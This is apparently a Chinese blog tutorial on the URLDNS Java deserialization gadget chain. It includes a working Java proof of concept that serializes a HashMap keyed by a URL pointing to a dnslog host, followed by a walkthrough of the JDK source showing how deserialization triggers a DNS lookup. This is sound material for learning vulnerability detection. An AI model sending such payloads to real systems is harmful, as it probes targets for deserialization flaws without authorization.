java set查询_Java反序列化学习之URLDNS

URLDNS

  • 优点

使用Java内置的类构造,对第三方库没有依赖在目标没有回显的时候,能够通过DNS来判断是否存在反序列化漏洞

  • Gadget Chain

HashMap.readObject()    HashMap.putVal()        HashMap.hash()            URL.hashCode()
  • Exp

package exploit;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.net.URL;import java.util.HashMap;public class DnsLogTest  {    public static void main(String[] args) throws Exception {        HashMap hashMap = new HashMap();        URL url = new URL("http://xxx.dnslog.cn");        Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");        f.setAccessible(true);        f.set(url, 0xdeadbeef);        hashMap.put(url, "y4er122");        f.set(url, -1);        //序列化        FileOutputStream fo = new FileOutputStream("dnslog.ser");        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fo);        objectOutputStream.writeObject(hashMap);        objectOutputStream.close();        //反序列化        FileInputStream fis = new FileInputStream("dnslog.ser");        ObjectInputStream ois = new ObjectInputStream(fis);        ois.readObject();    }}
  • 查看dnslog

413a875dcb0590f5e716ff1d0bd8879b.png

gadget分析

  • 查看HashMap的readObject方法

    private void readObject(java.io.ObjectInputStream s)        throws IOException, ClassNotFoundException {        // Read in the threshold (ignored), loadfactor, and any hidden stuff        s.defaultReadObject();        reinitialize();        if (loadFactor <= 0 || Float.isNaN(loadFactor))            throw new InvalidObjectException("Illegal load factor: " +                                             loadFactor);        s.readInt();                // Read and ignore number of buckets        int mappings = s.readInt(); // Read number of mappings (size)        if (mappings < 0)            throw new InvalidObjectException("Illegal mappings count: " +                                             mappings);        else if (mappings > 0) { // (if zero, use defaults)            // Size the table using given load factor only if within            // range of 0.25...4.0            float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);            float fc = (float)mappings / lf + 1.0f;            int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?                       DEFAULT_INITIAL_CAPACITY :                       (fc >= MAXIMUM_CAPACITY) ?                       MAXIMUM_CAPACITY :                       tableSizeFor((int)fc));            float ft = (float)cap * lf;            threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?                         (int)ft : Integer.MAX_VALUE);            // Check Map.Entry[].class since it's the nearest public type to            // what we're actually creating.            SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);            @SuppressWarnings({"rawtypes","unchecked"})            Node<K,V>[] tab = (Node<K,V>[])new Node[cap];            table = tab;            // Read the keys and values, and put the mappings in the HashMap            for (int i = 0; i < mappings; i++) {                @SuppressWarnings("unchecked")                    K key = (K) s.readObject();                @SuppressWarnings("unchecked")                    V value = (V) s.readObject();                putVal(hash(key), key, value, false, false);            }        }    }
  • 关键点

 putVal(hash(key), key, value, false, false);
  • 跟进hash方法

5090087b8e444781d1ece1426a556899.png

key不为空跟进hashCode方法,如果hashCode等于负一进入handler.hashCode方法,跟进hashCode方法

    public synchronized int hashCode() {        if (hashCode != -1)            return hashCode;        hashCode = handler.hashCode(this);        return hashCode;    }

dcb4730fc7262f259e5ded20749b678f.png

  • 跟进getHostAddress方法

protected synchronized InetAddress getHostAddress(URL u) {       if (u.hostAddress != null)           return u.hostAddress;       String host = u.getHost();       if (host == null || host.equals("")) {           return null;      } else {           try {               u.hostAddress = InetAddress.getByName(host);          } catch (UnknownHostException ex) {               return null;          } catch (SecurityException se) {               return null;          }      }       return u.hostAddress;

InetAddress.getByName()确定主机名称的IP地址,就会请求传入的DnsLog地址

  • 要点f.set(url, 0xdeadbeef)

1.如果之前没有f.set(url, 0xdeadbeef);修改hashCode,就会完成DNS查询的同时,计算出hashCode,从而修改成不为-1的值。这个hashcode会被序列化传输,到对方机器时就会因为不是-1而跳过DNS查询流程2.如果之前修改了hashCode,那自然也会直接被序列化传输,不是-1也会跳过DNS查询流程,所以需要f.set(url, -1);把这个字段改回来-1。

参考

https://www.anquanke.com/post/id/201762

分享、点赞、在看就是对我们的一种支持!

e9c201dad178bc66a4233a3d2536283c.png

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值